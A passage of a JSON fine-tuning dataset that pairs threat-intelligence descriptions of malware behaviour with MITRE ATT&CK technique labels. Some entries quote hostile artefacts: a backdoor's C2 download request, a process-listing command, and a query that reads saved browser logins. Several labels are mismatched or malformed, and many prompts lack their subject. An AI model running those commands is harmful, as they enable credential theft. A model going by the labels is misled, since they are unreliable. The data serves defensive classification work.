            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can use the Windows command line to delete volume shadow copies and disable recovery."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has obtained domains to host their payloads."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following HTTP request from the Helminth backdoor (SHA256: 1fb69090be8a2e11eeb220b26ee5eddf1e3fe81ffa59c47d47d01bf90c2b080c) downloaded the similar batch script: GET /update-index.aspx?req=1786873725%5Cbat&m=d HTTP/1.1 Host: update-kernal[.]net Connection: Keep-Alive We performed a code comparison to visualize the similarities between the batch script delivered as the default command in Poison Frog is to the script provided to the Helminth backdoor"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent  can pad C2 messages with random generated values."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MoonWind has a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Doki’s container was configured to bind the host root directory."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CostaBricks can download additional payloads onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Siloscape has leveraged a vulnerability in Windows containers to perform an Escape to Host."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can search directories for files on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses Cobalt Strike as framework to manage their compromised systems. We observed the use of Cobalt Strike’s C2 protocol encapsulated in DNS by the adversary in 2017 and 2018. They switched to C2 encapsulated in HTTPS in Q3 2019. An interesting observation is they made use of a cracked/patched trial version of Cobalt Strike. This is important to note because the functionalities of Cobalt Strike’s trial version are limited. More importantly: the trial version doesn’t support encryption of command and control traffic in cases where the protocol itself isn’t encrypted, such as DNS. The DNS-responses weren’t logged. This means that only the DNS C2 leaving the victim’s network was logged. We developed a Python script that decoded and combined most of the logged C2 communication into a human readable format. As the adversary used Cobalt Strike with DNS as command &amp; control protocol, we were able to reconstruct more than two years of adversary activity"
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "supports execution from the command-line."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It also attempts to issue the following SQL query on the “signons.sqlite” file: “SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins WHERE timePasswordChanged/1000 BETWEEN ? AND ?”   117 ftpUpload Uses FTPManager:uploadFile method and a supplied server name, username and password"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is a PowerShell backdoor."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These infections provide backdoor access that criminals use to determine whether the host is part of an Active Directory (AD) environment. If so, criminals deploy Cobalt Strike and perform reconnaissance to map the network"
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning', 'T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DnsSystem has lured victims into opening macro-enabled Word documents for execution."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors used the `net` command to retrieve information about domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  tool can create a new service, naming it after the config information, to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates via DNS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth uses an external software known as NetPass to recover passwords."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials', 'T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "when the method R is invoked, InstallUtil.exe is spawned in suspended mode. The memory blocks of the suspended process are unmapped and rewritten with the sections of the payload program passed as an argument to method R. The thread is allowed to continue after changes have been made to the entry point."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used Web shells to maintain access to victim websites."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RATANKBA uploads and downloads information."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 compromised user credentials and used valid accounts for operations."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KGH_SPY can collect drive information from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Briba downloads files onto infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT has used HTTP to receive stolen information from the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempts to bypass default User Access Control (UAC) settings by exploiting a backward-compatibility setting found in Windows 7 and later."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to retrieve information about users on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has been delivered as malicious email attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, the threat actors obtained a list of running processes on a victim machine using `cmd /c tasklist > %temp%\\temp.ini`."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAWKBALL can collect the user name of the system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may be used to interact with and modify the Windows Registry of a local or remote system at the command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor can perform DLL loading."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kasidet has the ability to download and execute additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a Port 22 malware variant to modify several Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  variant has used DLL side-loading."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware creates a scheduled task entitled “IE Web Cache” to execute a malicious file hourly."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KillDisk has the ability to quit and delete itself."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the username from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects information about running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After a user logs on, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service, LSASS, process in memory. While you can prevent a Windows computer from creating the LM hash in the local computer SAM database (and the AD database), this doesn’t prevent the system from generating the LM hash in memory. By default, Windows Server 2008 and Windows Vista no longer generate LM hashes for users unless explicitly enabled. Starting with Windows 8.1 and Windows Server 2012 R2, the LM hash and “clear-text” password are no longer in memory. This functionality was also “back-ported” to earlier versions of Windows (Windows 7/8/2008R2/2012) in kb2871997, though in order to prevent the “clear-text” password from being placed in LSASS, the following registry key needs to be set to “0” (Digest Disabled"
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT can execute \"loadfromfile\", \"loadfromstorage\", and \"loadfrommem\" to inject a DLL  from disk, storage, or memory respectively."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT can enumerate the username and account type."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 created new Windows services and added them to the startup directories for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI can download files and execute them on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkVishnya scanned the network for public shared folders."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The discovery modules used with Duqu can collect information on open windows."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT can read specific registry values."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "reports window names along with keylogger information to provide application context."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MSTIC has observed NICKEL drop their malware into existing installed software paths. They did this to make their malware appear to be files used for an installed application. The following are example paths"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Talos has identified two different infection vectors associated with this particular campaign. The second vector is a trojanized Word document that prompts the victim to enable macros and run a Visual Basic script. In the first scenario, Talos discovered a document named \"MinutesofMeeting-2May19.docx\", that appeared to display the national flag of Jordan"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "decodes embedded XOR strings."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER can execute commands from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent.btz attempts to download an encrypted binary from a specified domain."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has used RDP to move laterally in victim environments."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 2 Employee survey displayed after credential theft The November 2017 document displays a password handover document after credential theft occurs, as seen in Figure 3"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used \"cmd.exe /c\" to execute commands on remote machines.\nAPT41 used a batch file to install persistence for the Cobalt Strike BEACON loader."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather the disk volume information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StoneDrill can wipe the accessible physical or logical drives of the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Azorult can collect the machine information, system architecture, the OS version, computer name, Windows product name, the number of CPU cores, video card information, and the system language."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data exfiltration is done by Okrum using the already opened channel with the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can open a command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors dumped account hashes using gsecdump."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has deleted and overwrote files to cover tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The DNS response will return a CNAME record that points to a Command and Control (C2) domain. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications"
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan uses HTTP POST requests, as seen in Figure 1 to send data to the C2 server, and GET requests to receive commands from the server, as seen in Figure 2"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRatReporter communicated over HTTP with preconfigured C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic can perform process injection by using a reflective DLL."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BACKSPACE allows adversaries to search for files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can use Winlogon Helper DLL to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FELIXROOT collects the victim’s computer name, processor architecture, OS version, volume serial number, and system type."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P.A.S. Webshell has the ability to list and extract data from SQL databases."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HTRAN can proxy TCP socket connections to obfuscate command and control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
